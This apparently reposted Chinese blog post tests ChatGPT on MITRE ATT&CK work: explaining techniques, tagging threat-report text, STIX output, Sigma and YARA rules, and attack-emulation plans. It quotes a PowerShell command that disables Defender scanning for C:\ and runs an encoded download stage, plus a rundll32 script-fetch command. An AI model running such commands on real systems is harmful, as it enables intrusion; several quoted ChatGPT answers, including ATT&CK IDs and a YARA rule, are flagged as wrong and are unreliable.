ChatGPT在MITREATT&CK落地中的应用
2023-2-28 11:2:57 Author: 红队蓝军(查看原文) 阅读量:57 收藏

近期ChatGPT比较火,ChatGPT概念的股票也节节高涨,于是蹭个ChatGPT热点,来评估下在MITRE ATT&CK落地过程中,ChatGPT能发挥出怎么样的作用。

简单介绍下ChatGPT和MITRE ATT&CK:

ChatGPT:

是由OpenAI开发的一个人工智能聊天机器人程序,于2022年11月推出。该程序使用基于GPT-3.5架构的大型语言模型并通过强化学习进行训练。ChatGPT目前仍以文字方式互动,而除了可以透过人类自然对话方式进行交互,还可以用于相对复杂的语言工作,包括自动文本生成、自动问答、自动摘要等在内的多种任务。

OpenAI估值已涨至290亿美元上线两个月后,用户数量达到1亿

MITRE ATT&CK

全称是 Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK),它是一个站在攻击者的视角来描述攻击中各阶段用到的技术的模型。将已知攻击者行为转换为结构化列表,将这些已知的行为汇总成战术和技术,并通过几个矩阵以及结构化威胁信息表达式(STIX)、指标信息的可信自动化交换(TAXII)来表示。由于此列表相当全面地呈现了攻击者在攻击网络时所采用的行为,因此对于各种进攻性和防御性度量、表示和其他机制都非常有用。多用于模拟攻击、评估和提高防御能力、威胁情报提取和建模、威胁评估和分析。

本文主要从以下几个方面考察ChatGPT在MITRE ATT&CK落地过程中的应用能力:

  • 基础能力:对MITRE ATT&CK技术点的认识;

  • 威胁情报能力:根据文本提取ATT&CK ID;归因能力;

  • 检测、评估能力:检测某ATT&CK技术点的能力;评估组织内对某攻击技术的防御能力。

  • 模拟攻击能力:针对具体的ATT&CK ID,提供模拟攻击方案;

一、基础能力:

首先考察他是否认识某个ATT&CK技术点:

T1566.001是什么意思

T1566.001是一个来自于MITRE ATT&CK框架的术语,指的是"Phishing: Spearphishing Attachment"(钓鱼:定向钓鱼附件)。

这个术语描述了攻击者使用电子邮件或其他通信方式向特定的个人或组织发送含有恶意附件的信息的行为。这些附件可能是文档、PDF文件、压缩文件等,包含恶意软件,例如远程访问工具(RAT)、木马、勒索软件等,一旦被打开,就会感染受害者的计算机系统。

针对特定目标的钓鱼攻击通常比广泛的钓鱼攻击更具针对性和有效性,因为攻击者可以定制钓鱼邮件以使其看起来更加真实、诱人和可信,从而增加受害者打开附件的可能性。T1566.001是一个常见的攻击技术,许多安全组织都将其列为常见的网络攻击类型之一。

这个回答其实是很棒的。他并没有完全照抄MITRE ATT&CK官方文档中的对于T1566.001的说明:

他是用自己的语言进行了总结,并且还是翻译后的且翻译效果比google的机翻要好。可以很方便在SOC、EDR等产品中直接嵌入。

接着问他对于某个技术和ATT&CK的映射能力:

列举下跟powershell相关的ATT&CK

以下是一些与PowerShell相关的MITRE ATT&CK技术:

  1. T1059.001:PowerShell(命令行界面):使用命令行界面工具PowerShell进行攻击,这是一种常见的攻击技术,攻击者可以使用PowerShell脚本来执行各种恶意操作。

  2. T1086:PowerShell:这个技术描述了攻击者如何使用PowerShell脚本来实现攻击目的,例如下载和执行恶意代码、浏览文件系统、与远程服务器通信等。

  3. T1027:Obfuscated Files or Information:这个技术描述了攻击者如何使用各种技术(包括PowerShell脚本)来混淆恶意代码,使其难以被检测和分析。

  4. T1116:Code Signing:这个技术描述了攻击者如何获取有效的代码签名证书,以便在PowerShell脚本中签署其恶意代码,以使其看起来更加可信。

  5. T1085:Rundll32:这个技术描述了攻击者如何使用Windows系统中的rundll32.exe工具来执行恶意代码,包括在PowerShell脚本中调用rundll32.exe来执行恶意操作。

  6. T1055:Process Injection:这个技术描述了攻击者如何将恶意代码注入到合法进程中,例如将恶意代码注入到正在运行的PowerShell进程中。

这些技术仅仅是与PowerShell相关的MITRE ATT&CK技术的一部分。攻击者经常利用PowerShell来进行各种恶意活动,因此对PowerShell相关的攻击技术进行监控和检测至关重要。

这个回答也不错。基本列举出了powershell可以在哪些技术点中使用。

继续问他检测T1059.001需要的数据源:

在EDR上增加哪些数据源,可以检测T1059.001

T1059.001是指PowerShell脚本中的执行。要检测此技术,您可以考虑以下数据源:

  1. PowerShell日志 - PowerShell在执行脚本时会生成日志,记录命令、参数、输出等信息,这些信息可以用于检测PowerShell脚本的执行情况。

  2. 进程监控 - 监控进程创建、退出和命令行参数等信息,可以检测到通过PowerShell执行的命令。

  3. 件监控 - 监控PowerShell脚本文件的创建和修改,可以及时发现攻击者上传并执行的PowerShell脚本。

  4. 网络流量监控 - 监控PowerShell与远程主机之间的网络流量,可以检测到通过PowerShell执行的远程命令。

  5. Windows事件日志 - 监控Windows事件日志,可以检测到与PowerShell脚本执行相关的事件,例如PowerShell脚本的执行、PowerShell进程的创建和退出等。

  6. 安全软件日志 - 一些安全软件可以检测到PowerShell脚本的执行情况,例如杀毒软件可以检测到PowerShell脚本下载、上传、执行等行为。

  7. 作系统日志 - 监控操作系统日志,可以检测到PowerShell脚本执行失败、执行结果异常等情况。

通过这些数据源的综合使用,可以更好地检测到T1059.001技术的使用情况。

本以为他会学习MITRE ATT&CK文档里的DataSource数据源:

但是意外的是,他并没有采用,而是根据自己的理解来回答检测数据源的问题。

那针对该技术点的缓解措施呢?于是继续提问:

T1059.001的缓解措施有哪些

T1059.001是指利用PowerShell脚本执行恶意代码的攻击技术,为了缓解此攻击技术,可以采取以下措施:

  1. 应该限制用户对PowerShell的使用权限,只有特定的管理员或工作人员才能使用PowerShell执行脚本。可以使用策略或组策略来限制用户对PowerShell的使用。

  2. 实施应用程序控制,只允许批准的PowerShell脚本运行。可以使用应用程序白名单,只允许运行指定的PowerShell脚本。

  3. 安装和更新防病毒软件,使用最新的恶意软件识别库来检测并清除潜在的恶意代码。

  4. 加强对系统日志的监控,特别是监控PowerShell的执行情况,以便及早发现并响应异常行为。

  5. 针对组织内部员工进行钓鱼模拟、安全培训等安全意识培训,以提高员工对于威胁的敏感度,避免被攻击者通过社会工程学手段欺骗执行恶意代码。

  6. 对于需要使用PowerShell的业务应用,应该实现代码审计和安全审计,确保脚本的安全性和合规性。

  7. 更新系统和应用程序,确保安装最新的安全补丁,以修复已知的安全漏洞,降低系统被攻击的风险。

综上所述,通过限制PowerShell的使用权限、应用程序控制、安装防病毒软件、加强系统日志监控、加强安全意识培训、实施代码审计和安全审计等措施,可以有效缓解T1059.001攻击技术的风险。

同样的,并未完全使用官方的缓解措施,很棒!

继续考察ATT&CK技术点和组织的关系。于是问它:

请列举下APT32组织所使用的ATT&CK

APT32(又称OceanLotus)是一组来自越南的攻击者组织,他们使用多种高级持久性攻击策略和技术来攻击目标。以下是一些与APT32组织相关的MITRE ATT&CK技术:

  1. T1078:Valid Accounts:APT32组织常常使用窃取的合法凭据来绕过防御,并访问目标网络中的敏感数据。

  2. T1071:Application Layer Protocol:APT32组织使用多种应用层协议,例如HTTP、HTTPS、DNS等,与C2服务器通信并下载恶意软件。

  3. T1003:Credential Dumping:APT32组织使用各种技术窃取目标计算机的凭据,例如使用Mimikatz和其他密码破解工具从内存中提取明文密码。

  4. T1064:Scripting:APT32组织使用各种脚本技术来执行其攻击代码,包括使用PowerShell、VBScript、JavaScript等。

  5. T1055:Process Injection:APT32组织使用进程注入技术将恶意代码注入到合法进程中,从而避免被检测和清除。

  6. T1047:Windows Management Instrumentation:APT32组织使用WMI执行各种操作,例如下载和执行恶意代码,收集信息等。

  7. T1053:Scheduled Task:APT32组织使用计划任务技术在目标计算机上定期执行恶意代码,从而维持持久性。

这些技术只是APT32组织使用的MITRE ATT&CK技术的一部分,该组织经常使用新技术和工具来绕过防御并实现其攻击目的。对这些技术的了解和监控是保护组织免受APT32组织攻击的重要步骤。

这个其实对它没什么难度。还对APT32组织进行了解释。

不过,我更感兴趣的是反过来的能力,根据技术点映射组织。继续盘它:

哪些APT组织使用过T1574.002?并列举出他们具体的使用过程。

T1574.002是指“Hijack Execution Flow: DLL Side-Loading”,这个技术通常用于在受害者系统上执行恶意代码。以下是一些已知使用T1574.002的APT组织以及他们使用过程的具体细节:

  1. APT41:这个APT组织总部位于中国,它已经在多个攻击活动中使用了T1574.002技术,包括使用SideLoading攻击器来安装恶意软件,绕过安全检查。在一次攻击中,APT41使用了一个被称为Winnti的恶意软件家族,该软件家族使用了T1574.002来绕过代码签名和检测。

  2. APT29(也称为Cozy Bear):这个APT组织据信与俄罗斯政府有联系,它已经使用T1574.002来执行其定制的恶意软件,例如MiniDuke和SeaDuke。在一次攻击中,APT29使用了T1574.002来通过Adobe Acrobat Reader漏洞执行恶意代码。

  3. APT32(也称为OceanLotus):这个APT组织总部位于越南,它已经在多个攻击活动中使用了T1574.002技术,例如使用SideLoading攻击器来安装恶意软件,窃取敏感信息。在一次攻击中,APT32使用了一个被称为SOUNDBITE的恶意软件家族,该软件家族使用了T1574.002来执行其恶意代码。

需要注意的是,这些APT组织通常会使用多种技术进行攻击,T1574.002只是其中之一。因此,采取有效的安全措施来保护系统和数据仍然是至关重要的。

看看结果,依然稳。它首先解释了该技术点,然后列出了这些组织。还对组织进行了解释,并列举了相关的过程。

上面问题主要考察了ChatGPT对ATT&CK相关概念的理解程度,结果还是非常让人满意的。

二、威胁情报能力:

威胁情报能力主要体现在:

  • 如何根据一段文字,准确的提取出对应的ATT&CK ID;

  • 针对ATT&CK ID,进行简单的溯源和归因

  • 机读情报

针对第一个问题,其实有过一些专门的机器学习的项目,如TRAM(https://github.com/mitre-attack/tram),看看ChatGPT能不能搞定。

而针对第二个问题,虽然根据某次攻击活动中使用的ATT&CK来进行归因是不科学的,也是不现实的。但是如果能辅助缩小一些范围还是非常有帮助的。

第三个问题,主要是考察能否把人读的情报用stix表示出来。

一个一个来盘它。

首先我们选取一篇文章:

Alert (AA22-320A):Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester(https://www.cisa.gov/uscert/ncas/alerts/aa22-320a)

选取它的目的是该文章中就列出了具体的ATT&CK技术点:

请识别出下面这段文字中的所有ATT&CK技术点,并标注在原文后面的[]里:

In February 2022, the threat actors exploited Log4Shell for initial access to the organization’s unpatched VMware Horizon server. As part of their initial exploitation, CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.

The actors’ exploit payload ran the following PowerShell command [T1059.001] that added an exclusion rule to Windows Defender:

powershell try{Add-MpPreference -ExclusionPath 'C:\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc "$BASE64 encoded payload to download next stage and execute it"

The exclusion rule allowlisted the entire c:\drive, enabling threat actors to download tools to the c:\drive without virus scans. The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1. When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk.

以下是在文本中提到的ATT&CK技术点,并标注在原文后面的[]里:

  • T1059.001 - PowerShell [actors’ exploit payload ran the following PowerShell command]

  • 初步访问 - 由于Log4Shell漏洞获取VMware Horizon服务器的初始访问。[the threat actors exploited Log4Shell for initial access to the organization’s unpatched VMware Horizon server]

  • 意IP地址 - 182.54.217[.]2是一个已知的恶意IP地址,与攻击者的连接持续了17.6秒。[CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.]

  • 载 - 攻击者下载了一个zip文件到C:\users\public\。[the exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1]

  • 隐藏文件删除 - 攻击者从磁盘中删除了mde.ps1文件。[When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk.]

它提取出了5个ATT&CK ID。有些遗憾,有几个技术点它并没有写上对应的ATT&CK ID,但是可以根据他的描述来推断出他提取的ATT&CK。

我们对照下它的结果和原文中标注的结果。

原文中标注的结果是:

  • T1190:the threat actors exploited Log4Shell [T1190] for initial access [TA0001] to the organization’s unpatched VMware Horizon server.

    ChatGPT同样识别到了这句,但是它仅提取了战术:初始访问[TA0001] ,并未提取具体的技术。

    事实上,多刷新几次,它的结果是会变的。某些结果会识别出这个ID:

  • T1059.001 :The actors’ exploit payload ran the following PowerShell command [T1059.001] 

    针对这个点,ChatGPT进行了准确的提取。

  • T1562.001:added an exclusion rule to Windows Defender。

    这个点,ChatGPT并未识别到。

  • T1105:The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1 . 

    这个点,ChatGPT也进行了准确的提取,不过未给出ID,稍微有点遗憾。

  • T1070.004:removed mde.ps1 from the disk 

    这个点同样也进行了准确的提取,但是同样未给出ID。

除了原文中标注的ATT&CK ID,他还额外的标注了一个原文中所没有的:

恶意IP地址 - 182.54.217[.]2是一个已知的恶意IP地址,与攻击者的连接持续了17.6秒。[CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.]

不过,这个笔者不知道它标注的是哪个ID。有知道的同行麻烦反馈给我,感谢。

虽然,但是。总体来说,笔者对ChatGPT的效果还是挺满意的。但是不禁要问,是不是因为原文中给出了标注,所以才提取的这么好?

于是,再次找了一篇未标注的文章段落让ChatGPT提取:

原文地址:https://www.mandiant.com/resources/blog/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation

请列出下面这段文字中使用的ATT&CK技术点ID,并在原文后的[]里标注出来:

Throughout FireEye’s tracking of FIN7 campaigns, the attackers have attempted to stay ahead of the game and thwart detection, using novel tactics and displaying characteristics of a well-resourced operation. For example, in April 2017, FireEye blogged about FIN7’s spear phishing emails that leveraged hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim. This was a direct departure from their established use of weaponized Office macros and highlighted the group’s adaptive nature to evade detection.

FireEye also previously reported on FIN7’s use of the CARBANAK backdoor as a post-exploitation tool to cement their foothold in a network and maintain access to victim environments. CARBANAK is well known for its use in highly profitable and sophisticated attacks dating back to 2013, with usage attributable to FIN7 beginning in late 2015, although how interconnected the campaigns employing the malware over this five-year span are is unclear. FIN7’s use of CARBANAK is particularly notable due to their use of creative persistence mechanisms to launch the backdoor. The group leveraged an application shim database that injected a malicious in-memory patch into the Services Control Manager ("services.exe") process, and then spawned a CARBANAK backdoor process. FIN7 also used this tactic to install a payment card harvesting utility.

Another notable characteristic of FIN7 has been their heavy use of digital certificates. Unsurprisingly, malicious threat actors have sought to exploit the legitimacy afforded by these certificates. By digitally signing their phishing documents, backdoors and later stage tools, FIN7 was able to bypass many security controls that may limit execution of macros from Office documents and restrict execution of unsigned binaries on trusted systems.

  • T1192 Spearphishing Link [used by FIN7 to initiate the infection using hidden shortcut files (LNK files)]

  • T1059 Command and Scripting Interpreter [used by FIN7 to infect the victim with VBScript functionality launched by mshta.exe]

  • T1105 Ingress Tool Transfer [FIN7's use of the CARBANAK backdoor as a post-exploitation tool]

  • T1078 Valid Accounts [FIN7's use of creative persistence mechanisms to launch the backdoor and maintain access to victim environments]

  • T1116 Code Signing [FIN7's use of digital certificates to bypass security controls]

它同样进行了提取。我们根据他的结果来进行分析:

  • T1192:是针对钓鱼的一个技术点。它进行了准确的提取。可是,这个ID已经被废弃,转而成为新的T1566.002。因此,虽然结果正确,但是数据有些老。

    不过也可以理解,比较根据公开资料,它的学习数据是到2021年的。

  • T1059:是针对VBScript的一个技术点。不过它未标出子技术,更精确的应该是T1059.005

    而针对后半句"VBScript functionality launched by mshta.exe",它未标注出mshta的利用,因此遗漏了T1218.005:Signed Binary Proxy Execution: Mshta

  • T1105:使用CARBANAK后门。T1105这个技术点是远程工具拷贝,是使用工具将工具或其他文件从外部系统传输到受感染的环境中。粗看起来没什么关系,但事实上CARBANAK后门具有传输文件的能力。因此笔者觉得这个标注没什么问题。

  • T1078:这个技术点同样针对CARBANAK这个后门。不过这个点的提取有点问题,文中的描述并未提到有效账户这个技术点。不过,笔者猜测,可能是CARBANAK后门跟CARBANAK组织同名,而CARBANAK组织有使用过T1078,因此造成了提取错误?

  • T1116:代码签名。提取准确,但是这个技术点在新版本中也已经废弃,改为T1553.002。

不过,还有2个技术点未提取到:

  • T1546.011:Event Triggered Execution: Application Shimming。[The group leveraged an application shim database that injected a malicious in-memory patch into the Services Control Manager ("services.exe") process]

  • T1137.001:Office Application Startup: Office Template Macros.[FIN7 was able to bypass many security controls that may limit execution of macros from Office documents and restrict execution of unsigned binaries on trusted systems.]

虽然存在数据未更新和遗漏的问题,但整体的效果还是挺不错的。

最后再试试中文文章的识别:

看看对中文的识别和提取能力如何。

请列出下面这段文字中使用的ATT&CK技术点ID:

2020年7月,瑞典计算机黑客Tillie Kottmann(非ATW成员)曾公开曝光泄露了微软、Adobe、联想、AMD、高通、联发科、通用电气、任天堂、迪士尼、华为海思等 50 家科技公司部分项目的源代码,该黑客曾被美国FBI调查,目前仍在指控中。根据FBI调查,黑客Tillie Kottmann利用的是SonarQube服务的配置失误窃取的相关公司源代码。SonarQube是一款开源代码质量管理的系统,被广泛的应用于相关企业的项目开发流程中,黑客先是扫描了暴露于公网上的SonarQube资产,它们通常默认使用9000端口,再利用预设的管理员账户(如用户名为admin,密码也是admin)登录来窃取源代码。         

以下是在文本中提到的ATT&CK技术点ID:

  • T1110:密码破解

  • T1219:远程访问工具(RATs)

  • T1078.002:常见凭证攻击(Default Accounts)

  • T1210:利用配置错误的漏洞进行攻击(Exploitation of Remote Services)

基本准确。不过从文中并未读出使用了T1219:远程访问工具(RATs)。

接下来,我们来看看归因。

针对但技术ID,上面基础能力测试中,ChatGPT已经给出了很满意的结论。那么针对多ID组合,还能否识别出?

选取某BITTER的报告进行提问:

原文:https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/offshore%20APT%20organization/Bitter/27-08-19/Malware%20analysis%2031-08-19.md

某次攻击活动,使用了T1203、T1060、T1012、T1105技术,请问可能是哪个攻击组织的攻击活动?

T1203、T1060、T1012、T1105是MITRE ATT&CK框架中的四种攻击技术,用于描述攻击者在攻击过程中可能使用的不同技术手段。然而,这些技术手段并不能准确地确定是哪个攻击组织进行的攻击活动。

攻击组织的攻击活动通常具有多样性和复杂性,可能会使用多种攻击技术和手段,MITRE ATT&CK框架中描述的技术手段可能会被多个攻击组织所使用。

因此,如果只知道攻击使用了T1203、T1060、T1012、T1105等攻击技术,无法准确判断是哪个攻击组织发动的攻击活动。需要进一步分析攻击活动的其他特征和证据,才能进行更准确的判断。

针对这个问题,ChatGPT并未给出相关的结论。不过正如笔者上面所说,根据ATT&CK ID来进行归因并不科学。而ChatGPT也给出了同样的建议:

因此,如果只知道攻击使用了T1203、T1060、T1012、T1105等攻击技术,无法准确判断是哪个攻击组织发动的攻击活动。需要进一步分析攻击活动的其他特征和证据,才能进行更准确的判断。

最后来看机读情报:

针对APT32组织的TTPs,请用stix2.1进行描述

以下是一个使用STIX 2.1协议描述APT32组织的TTPs的示例:

{   "type": "attack-pattern",   "id": "attack-pattern--16f57c0c-9f2a-4bae-9853-50f3a3bca29e",   "created""2021-09-01T00:00:00.000Z",   "modified""2021-09-01T00:00:00.000Z",   "name""APT32 Spearphishing Attachment Tactic",   "description""APT32 uses spearphishing emails with attachments to deliver malware to victims." ,   "kill_chain_phases": [     {       "kill_chain_name": "mitre-attack",       "phase_name": "initial-access"     }   ],   "external_references": [     {         "source_name": "mitre-attack",         "external_id""T1566.001",         "url""https://attack.mitre.org/techniques/T1566/001/"     }   ]  }, {    "type": "malware",    "id": "malware--d181f1c7-6e8f-45c2-b9b9-23b27bcbbf1f",    "created": "2021-09-01T00:00:00.000Z",    "modified": "2021-09-01T00:00:00.000Z",    "name": "OceanLotus",    "description""OceanLotus is a backdoor malware     used by APT32.",    "labels": [        "remote-access-trojan",        "backdoor"    ],    "kill_chain_phases": [        {            "kill_chain_name": "mitre-attack",            "phase_name": "command-and-control"        }    ],    "external_references": [        {            "source_name": "mitre-attack",            "external_id": "S0069",            "url":             "https://attack.mitre.org/software/S0069/"        }    ]},{    "type": "tool",    "id": "tool--2d07c6f1-0b27-442e-bce2-dcdfe6d1f6ed",    "created": "2021-09-01T00:00:00.000Z",    "modified": "2021-09-01T00:00:00.000Z",    "name": "Mimikatz",    "description": "Mimikatz is a credential dumping tool     used by APT32.",    "kill_chain_phases": [        {            "kill_chain_name": "mitre-attack",            "phase_name": "credential-access"        }    ],    "external_references": [        {            "source_name": "mitre-attack",            "external_id": "S0002",            "url":             "https://attack.mitre.org/software/S0002/"        }    ]}

在上面的示例中,我们描述了APT32组织使用的一些常见TTPs,包括“Spearphishing Attachment”攻击战术,使用的“OceanLotus”后门恶意软件和“Mimikatz”凭证转储工具。我们还指定了每个TTP与MITRE ATT&CK中定义的攻击链的不同阶段。

三、检测、评估能力

考察如何检测某个技术点,以及写规则的能力:

针对技术点的检测方案和数据源,基础测试里已经给出了解答。下面主要考察下写规则能力:

请给下面的T1218.011的测试案例编写对于的sigma规则:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();

以下是针对T1218.011测试案例的一个可能的sigma规则:

title: T1218.011 - Signed Script Proxy Executionstatus: experimentaldescription: Detects the use of the Signed Script ProxyExecution technique to execute malicious code.
detection:  selection:   EventID: 1   CommandLine: - '*\\rundll32.exe * javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();'
  condition: selection output:    title: T1218.011 - Signed Script Proxy Execution   description: Detected the use of the Signed Script     Proxy Execution technique to execute malicious code.    tags: - attack.t1218.011    level: high    type: attack

这个sigma规则的目的是检测使用T1218.011技术执行的攻击。规则匹配的条件是进程命令行中包含rundll32.exe、javascript和mshtml,并且字符串中包含指定的文件URL变量。如果规则匹配,输出将包括标题、描述、标签和级别信息。

编的还可以。

继续测试下yara规则:

请举例一个检测T1027.002的yara规则

下面是一个简单的 YARA 规则示例,可用于检测使用 UPX 工具进行压缩的可执行文件,即可能被用于软件包装攻击:

rule detect_packed_files {    meta:            description = "Detects packed executable files"         author = "Your Name"        strings:            $upx = "UPX"        condition:            $upx in (0..4096)}

在这个规则中,使用了 YARA 的字符串匹配功能,搜索文件前 4096 字节内是否包含 "UPX" 字符串,如果包含则认为该文件可能被压缩或加密。如果您想更准确地检测软件包装攻击,可以添加更多的字符串或其他特征。值得注意的是,这只是一个简单的示例规则,实际应用中需要根据具体情况进行修改和优化。

这规则虽然谈不上错误,但是也着实太过于简单了。

再来一次:

请举例一个检测T1027.002的yara规则

下面是另一个可以用于检测软件包装(T1027.002)的 YARA 规则示例,使用的是更全面的字符串特征匹配:

rule software_packing {meta:    description = "Detects the use of software packing     for executable files"            author = "Your Name"         strings:             $packed = "Packed by:"             $packer = "UPX"     $entropy = { 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ??      50 64 89 25 ?? ?? ?? ?? 83 EC ?? 8B 54 24 ?? 33 C0      55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 44 24 ?? 50      68 ?? ?? ?? ?? 64 FF 30 64 89 20 68 ?? ?? ?? ?? 8D      44 24 ?? 50 FF 74 24 ?? E8 }     condition:             any of them }

在这个规则中,使用了三个字符串特征。第一个字符串特征 $packed 表示文件是否包含了 "Packed by:",这是一些软件包装工具在压缩文件时会添加的字符串。第二个字符串特征 $packer 表示文件是否包含了常见的软件包装工具(如 UPX)的标识符。第三个字符串特征 $entropy 是一个十六进制字节序列,表示了一个特定的文件熵值计算公式,可以用于检测文件是否具有异常的熵值,是另一种检测软件包装的方式。

这个规则包含了多个条件,并使用了 any of them 表示只要有一个条件匹配成功即可触发规则。需要注意的是,这个规则可能存在一定的误报率,因为某些合法的软件也可能包含这些特征。因此,实际使用中需要根据具体情况进行优化和调整。

总算是看起来像我心目应该是的yara规则的样子。

不过仔细看,还是有错误。

1)条件是any of them,那意味着这规则跟刚才的没啥区别,甚至还不如。上一个回答里的规则至少把"UPX"的字符串限定在前4096字节里。

2)即便把any of them修改成all of them呢?需要验证下它的那个二进制串的准确性:

这段二进制,把通配都修改为00,看看代码长啥样:

然后再随便找一个upx的文件,没找到。印象中UPX也没有这样的代码。

因此,看似不错的yara规则还是存在不少的问题。离实战还有一段距离。

最后,再来看下怎么评估某个攻击继续的防御能力:

怎么使用ATT&CK来评估组织内的防攻击链攻击的能力?请举例。

以下是一个使用MITRE ATT&CK框架来评估组织内的防御链攻击能力的示例:

  1. 了解ATT&CK框架: 首先,需要熟悉MITRE ATT&CK框架,并了解该框架用于描述攻击者使用的常见战术、技术和过程(TTP)。这包括熟悉ATT&CK中的不同阶段和分类,例如攻击链阶段、数据源和平台等。

  2. 明确组织的安全目标和重要资源: 假设我们正在评估一个金融机构的防御链攻击能力。在这种情况下,组织的安全目标可能包括防止黑客入侵银行账户,保护客户的个人和财务信息,以及确保交易系统的可用性。

  3. 对比ATT&CK和组织内的安全控制: 使用ATT&CK框架的不同阶段,从初始访问到持久性,再到数据泄露,对比组织内的安全控制。例如,在评估组织的防御链攻击能力时,我们可以使用ATT&CK中的“持久性”阶段来确定组织是否有足够的措施来防止攻击者在系统中留下后门。

  4. 定义用于评估防御链攻击能力的指标: 在这个例子中,我们可以定义一些指标来评估组织对不同攻击的准备程度。例如,我们可以评估组织的反病毒软件是否能够检测常见的恶意软件,以及网络安全监控是否能够检测常见的攻击行为。

  5. 进行评估: 最后,我们可以使用定义的指标对组织的防御链攻击能力进行评估。例如,我们可以模拟一次钓鱼攻击,并查看组织是否有足够的安全控制来防止攻击者入侵系统。我们还可以分析组织的日志数据,以确定是否有异常行为和恶意活动。

综上所述,通过使用MITRE ATT&CK框架评估组织的防御链攻击能力,我们可以识别组织中可能需要加强的区域,并制定相应的安全措施来提高组织的防御能力。

这里没什么好说的,都是各种套话。。。

四、模拟攻击能力

针对某技术的测试用例:

请列举两个具体的T1489的测试用例

T1489是指“服务停止”,这个技术通常与攻击者试图停止或禁用特定的服务相关联。以下是两个具体的T1489测试用例:

  1. 在Windows操作系统上,测试攻击者是否能够使用命令行或PowerShell脚本停止特定的服务,例如Windows防火墙服务。攻击者可以使用以下命令来尝试停止服务:

    net stop [service_name]

    如果服务成功停止,则表示攻击者可以使用这种技术禁用该服务。

  2. 在Linux操作系统上,测试攻击者是否可以使用命令行或脚本停止特定的服务,例如SSH服务。攻击者可以使用以下命令来尝试停止服务:

    service ssh stop

    如果服务成功停止,则表示攻击者可以使用这种技术禁用该服务。

需要注意的是,这些测试用例应该仅用于在授权的环境中进行安全测试和验证,以确保组织的安全措施能够防止类似的攻击。在未经授权的情况下使用这些测试用例可能会违反法律。

虽然给出的例子比较简单,但也确实是测试用例。并且给出了不同系统的。

那么针对某个组织的模拟攻击呢?

某企业要使用Fin7组织进行模拟攻击演习,请根据TTPs设计一个根据ATT&CK的模拟攻击的过程方案。

针对某企业要使用Fin7组织进行模拟攻击演习,可以根据MITRE ATT&CK框架的TTPs(战术、技术和过程)来设计一个攻击方案,下面是一个基本的方案,供参考:

  1. 收集情报:使用开源情报和可用的公共情报来源,收集关于Fin7组织的信息,包括攻击技术、攻击工具、目标行业和常见攻击目标等。

  2. 钓鱼攻击(T1566):使用Fin7组织常用的钓鱼攻击方式,发送伪装成合法机构的电子邮件,骗取目标用户的凭据或将恶意软件注入到受害者的计算机中。

  3. 渗透测试(T1055):使用Fin7组织常用的攻击工具和技术,如针对POS终端的攻击和使用菜单注入技术等,尝试在目标系统中获取敏感信息并获取持久化访问权限。

  4. 垂直移动(T1483):利用已经获得的访问权限,向其他系统和网络进行攻击,获取更多的信息和敏感数据。

  5. 操作命令和控制通信(T1024):使用C2服务器对被入侵系统进行远程控制和管理,执行命令并操纵受害者计算机。

  6. 数据窃取(T1002):在目标系统中窃取敏感信息并将其上传到指定的服务器上。

  7. 操作系统命令(T1059):使用Fin7组织常用的操作系统命令来执行攻击,如net、cmd、powershell等。

  8. 隐藏攻击痕迹(T1070):利用Fin7组织常用的技术,如清除日志和使用注册表隐藏恶意软件的存在,使攻击活动难以被发现和追踪。

  9. 持久化(T1547):使用Fin7组织常用的技术,如创建计划任务和服务,将恶意软件在目标系统中持久化存在。

  10. 报告和总结:在模拟攻击演习结束后,总结攻击过程、攻击结果和攻击效果,并撰写一份详细的报告。这份报告可以用于评估安全措施的有效性、发现潜在的安全漏洞,并为未来的安全计划提供参考。

需要注意的是,在进行模拟攻击演习时,一定要遵守法律法规,不得对真实系统和数据进行攻击,以免对真实环境造成不必要的损失和风险。

虽然也是套话多,不过也没什么大问题。

结论:

  1. ChatGPT由于使用的学习数据到2021年,因此存在一定的局限性。如ATT&CK ID的更新;

  2. 虽然ChatGPT不是专业的ATT&CK工具,但是在很多场景可以替代ATT&CK的专业工具,并且效果还不差。如针对一段文字中的ATT&CK的提取;

  3. 可以把ChatGPT集成到SOC/SIEM等平台里,在某些场景辅助运营人员进行安全运营,如对ATT&CK技术点的解释和翻译,日志和报告中提取ATT&CK;生成自己的威胁情报;简单规则的提取等。

  4. 看似丰富的ATT&CK回答中,其实还存在很多错误。因此利用的时候,需要仔细甄别。

最后还是得说一句,ChatGPT,真的666啊。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247506941&idx=1&sn=497a85a399627dc65610bfdec131772d&chksm=ce676141f910e8571b4c11454b2e488ac0eade9bc391356fbc7f8d33bcee14c26fe31124dd1d#rd
如有侵权请联系:admin#unsafe.sh